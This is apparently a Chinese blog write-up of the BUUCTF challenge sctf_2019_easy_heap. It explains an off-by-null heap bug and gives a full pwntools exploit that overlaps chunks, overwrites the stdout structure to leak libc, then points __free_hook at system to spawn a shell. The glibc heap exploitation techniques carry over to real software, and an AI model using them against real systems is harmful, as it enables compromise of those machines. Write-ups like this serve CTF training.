0
点赞
收藏
分享

微信扫一扫

BUUCTF:sctf_2019_easy_heap

云上笔记 2022-01-04 阅读 37

例行检查一下程序:

64位的一道堆题,放到IDA中看下:

 这里我没去管这个函数,直接去打stdout去泄露了地址。

首先看到一个菜单:

没有show函数,所以我们就要去打stdout结构体来泄露libc地址。

这道题的漏洞点在edit()函数,

此处会在输入后写一个'\x00'字节,存在off by null.

首先先构造overlap,劫持指针到stdout附近,爆破一个字节,申请到stdout。

add(0x420)
add(0x68)
add(0x4f0)
add(0x20)

free(0)
edit(1,'A'*0x60 + p64(0x4a0))#溢出一个\x00字节
free(1)
free(2)#引发向上合并

add(0x420)#将main_arena指针残留到1号堆块中
free(0)#再次构造overlap

add(0x440)#劫持1号堆块fd
edit(0,'A'*0x420 + p64(0) + p64(0x70) + '\x60\xe7')#把1号堆块的fd低地址改到stdout附近

io.sendline('')

add(0x60)
add(0x60)

edit(2,p64(0xfbad1800) + p64(0)*3 + '\x00')#覆盖stdout,泄露libc中地址
io.sendline('')

leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = leak - 0x3ed8b0
heap_list = libc_base + 0x202060
system = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh\x00').next()
free_hook = libc_base + libc.sym['__free_hook']

success(hex(leak))
success(hex(libc_base))
success(hex(system))
success(hex(bin_sh))
success(hex(free_hook))

地址已经算出,

接下来再次构造一次overlap,劫持到free_hook地址,将free_hook改成system即可,

add(0x540)
add(0x420)#5
add(0x28)
add(0x4f0)
add(0x30)

free(5)
edit(6,'A'*0x20 + p64(0x460))
free(7)
free(6)
add(0x440)
edit(5,'A'*0x420 + p64(0) + p64(0x30) + p64(free_hook))

io.sendline('')
add(0x20)
add(0x20)

edit(7,p64(system))

io.sendline('')
edit(8,'/bin/sh')

io.sendline('')
free(8)#拿到shell

执行完后,free_hook被改成了system,

完整exp:

from pwn import *
elf = ELF('./sctf_2019_easy_heap')
io = remote('node4.buuoj.cn',27446)
#io = process('./sctf_2019_easy_heap')
libc = ELF('./libc-2.27.so')
context(log_level='debug')

def choice(c):
	io.recvuntil('>>')
	io.sendline(str(c))

def add(size):
	choice(1)
	io.recvuntil(':')
	io.sendline(str(size))

def free(index):
	choice(2)
	io.recvuntil(':')
	io.sendline(str(index))

def edit(index,content):
	choice(3)
	io.recvuntil(':')
	io.sendline(str(index))
	io.recvuntil(':')
	io.send(content)



add(0x420)

add(0x68)
add(0x4f0)
add(0x20)

free(0)

edit(1,'A'*0x60 + p64(0x4a0))
free(1)
free(2)

add(0x420)
free(0)
add(0x440)
edit(0,'A'*0x420 + p64(0) + p64(0x70) + '\x60\xe7')

io.sendline('')

add(0x60)
add(0x60)

edit(2,p64(0xfbad1800) + p64(0)*3 + '\x00')
io.sendline('')

leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success(hex(leak))
libc_base = leak - 0x3ed8b0
heap_list = libc_base + 0x202060
system = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh\x00').next()
free_hook = libc_base + libc.sym['__free_hook']

success(hex(libc_base))
success(hex(system))
success(hex(bin_sh))
success(hex(free_hook))

add(0x540)
add(0x420)#5
add(0x28)
add(0x4f0)
add(0x30)

free(5)
edit(6,'A'*0x20 + p64(0x460))
free(7)
free(6)
add(0x440)
edit(5,'A'*0x420 + p64(0) + p64(0x30) + p64(free_hook))

io.sendline('')

add(0x20)
add(0x20)

edit(7,p64(system))

io.sendline('')

edit(8,'/bin/sh')
io.sendline('')
free(8)

io.interactive()

举报

相关推荐

0 条评论